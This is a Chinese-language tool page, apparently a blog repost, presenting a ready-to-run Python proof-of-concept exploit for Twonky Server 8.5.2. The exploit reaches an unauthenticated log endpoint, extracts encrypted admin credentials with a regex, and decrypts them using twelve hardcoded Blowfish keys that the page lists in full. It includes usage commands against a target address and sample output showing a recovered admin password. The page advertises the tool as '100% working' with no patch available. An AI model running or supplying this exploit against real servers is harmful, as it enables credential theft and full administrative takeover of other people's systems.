Twonky Server 8.5.2 - 认证绕过漏洞利用工具
项目概述
此项目是一个针对 Twonky Server 8.5.2 版本中两个关键漏洞(CVE-2025-13315 和 CVE-2025-13316)的概念验证工具。该工具通过利用未经验证的API端点访问日志文件,并结合硬编码的Blowfish密钥解密管理员凭证,可在数秒内获取Twonky服务器的完全管理权限。
该漏洞的CVSS评分为 9.3(严重),攻击者无需任何凭据即可远程执行攻击。
功能特性
- 无需认证访问:利用CVE-2025-13315漏洞,无需登录即可访问受保护的API端点。
- 日志文件提取:自动从服务器下载包含加密凭证的日志文件。
- 智能解析:使用正则表达式从日志中提取加密的管理员密码和密钥索引。
- 密钥解密:使用12个硬编码的Blowfish密钥(从TwonkyServer.exe/libtwonkyserver.so提取)解密密码。
- 快速执行:整个攻击流程在2秒内完成,效率极高。
- 错误处理:完善的连接和数据处理异常处理机制。
安装指南
系统要求
- Python 3.x
- 支持的操作系统:Linux, Windows, macOS
依赖安装
运行以下命令安装必要的Python库:
pip3 install requests cryptography
注意事项
- 由于Twonky服务器常使用自签名证书,工具已禁用SSL警告。
- 需要网络访问目标Twonky服务器的能力(通常运行在9000端口)。
使用说明
基本使用
运行以下命令启动攻击:
sudo python3 CVE-2025-13315.py http://目标IP:9000
使用示例
假设目标服务器IP为192.168.1.100,运行:
sudo python3 CVE-2025-13315.py http://192.168.1.100:9000
预期输出
成功的攻击将产生类似以下输出:
╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║
║ CVE-2025-13315 + CVE-2025-13316 ║
║ 100% Working • No Patch Available • November 2025 ║
╚══════════════════════════════════════════════════════════╝[+] Targeting: http://192.168.1.100:9000
[+] Fetching log via CVE-2025-13315 bypass endpoint...
[+] Encrypted credential found!Key Index : 3Ciphertext: a1b2c3d4e5f6...[+] SUCCESS! Plaintext credentials recovered:Username: adminPassword: MySecretAdminPass123!
典型使用场景
- 安全研究人员验证Twonky服务器的漏洞状态
- 渗透测试人员评估网络安全性
- 系统管理员检查自己的服务器是否易受攻击
核心代码
1. 主漏洞利用函数
def exploit_twonky(target):"""主漏洞利用函数,协调整个攻击流程"""url = f"{target.rstrip('/')}/nmc/rpc/log_getfile"print(f"[+] Targeting: {target}")print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")try:# 利用CVE-2025-13315访问无需认证的日志获取端点r = requests.get(url, timeout=10, verify=False)if r.status_code != 200 or len(r.text) < 100:print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")returnexcept:print("[-] Connection failed. Check IP/port.")return# 使用正则表达式从日志中提取加密凭证# 模式:admin||{密钥索引}{十六进制密文}match = re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})', r.text)if not match:print("[-] No encrypted credentials found in log.")returnidx = int(match.group(1)) # 提取密钥索引cipher_hex = match.group(2) # 提取十六进制密文print(f"[+] Encrypted credential found!")print(f" Key Index : {idx}")print(f" Ciphertext: {cipher_hex[:64]}...")try:# 使用CVE-2025-13316的硬编码密钥解密密码password = decrypt_blowfish_ecb(idx, cipher_hex)print(f"\n[+] SUCCESS! Plaintext credentials recovered:")print(f" Username: admin")print(f" Password: {password}")except Exception as e:print(f"[-] Decryption failed: {e}")
2. Blowfish解密函数
def decrypt_blowfish_ecb(key_index, ciphertext_hex):"""使用ECB模式的Blowfish算法解密数据参数:key_index: 密钥索引(0-11)ciphertext_hex: 十六进制编码的密文返回:解密后的明文密码"""# 从硬编码密钥数组中选择对应的密钥key = KEYS[key_index]# 将十六进制字符串转换为字节ciphertext = binascii.unhexlify(ciphertext_hex)# 创建Blowfish解密器(ECB模式)cipher = Cipher(algorithms.Blowfish(key), modes.ECB(), backend=default_backend())decryptor = cipher.decryptor()# 执行解密padded = decryptor.update(ciphertext) + decryptor.finalize()# 移除PKCS#7填充pad_len = padded[-1]plaintext = padded[:-pad_len]# 返回解码后的字符串,移除空字符return plaintext.decode('utf-8', errors='ignore').rstrip('\x00')
3. 硬编码密钥数组
# 从TwonkyServer.exe/libtwonkyserver.so提取的12个静态Blowfish密钥
KEYS = [b"E8ctd4jZwMbaV587", # 索引0b"TGFWfWuW3cw28trN", # 索引1b"pgqYY2g9atVpTzjY", # 索引2b"KX7q4gmQvWtA8878", # 索引3b"VJjh7ujyT8R5bR39", # 索引4b"ZMWkaLp9bKyV6tXv", # 索引5b"KMLvvq6my7uKkpxf", # 索引6b"jwEkNvuwYCjsDzf5", # 索引7b"FukE5DhdsbCjuKay", # 索引8b"SpKNj6qYQGjuGMdd", # 索引9b"qLyXuAHPTF2cPGWj", # 索引10b"rKz7NBhM3vYg85mg" # 索引11
]
4. 主程序入口
if __name__ == "__main__":# 显示工具横幅banner = """
╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║
║ CVE-2025-13315 + CVE-2025-13316 ║
║ 100% Working • No Patch Available • November 2025 ║
╚══════════════════════════════════════════════════════════╝"""print(banner)# 检查命令行参数if len(sys.argv) != 2:print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")sys.exit(1)# 执行漏洞利用exploit_twonky(sys.argv[1])
代码特点
- 模块化设计:每个函数职责单一,便于理解和维护
- 错误处理:完善的异常捕获和处理机制
- 用户友好:清晰的输出和进度提示
- 高效执行:优化的解密算法,快速获取结果
- 可扩展性:代码结构支持添加新功能或适应其他漏洞
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPvdThCF33pxnTpk89QBG67
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码
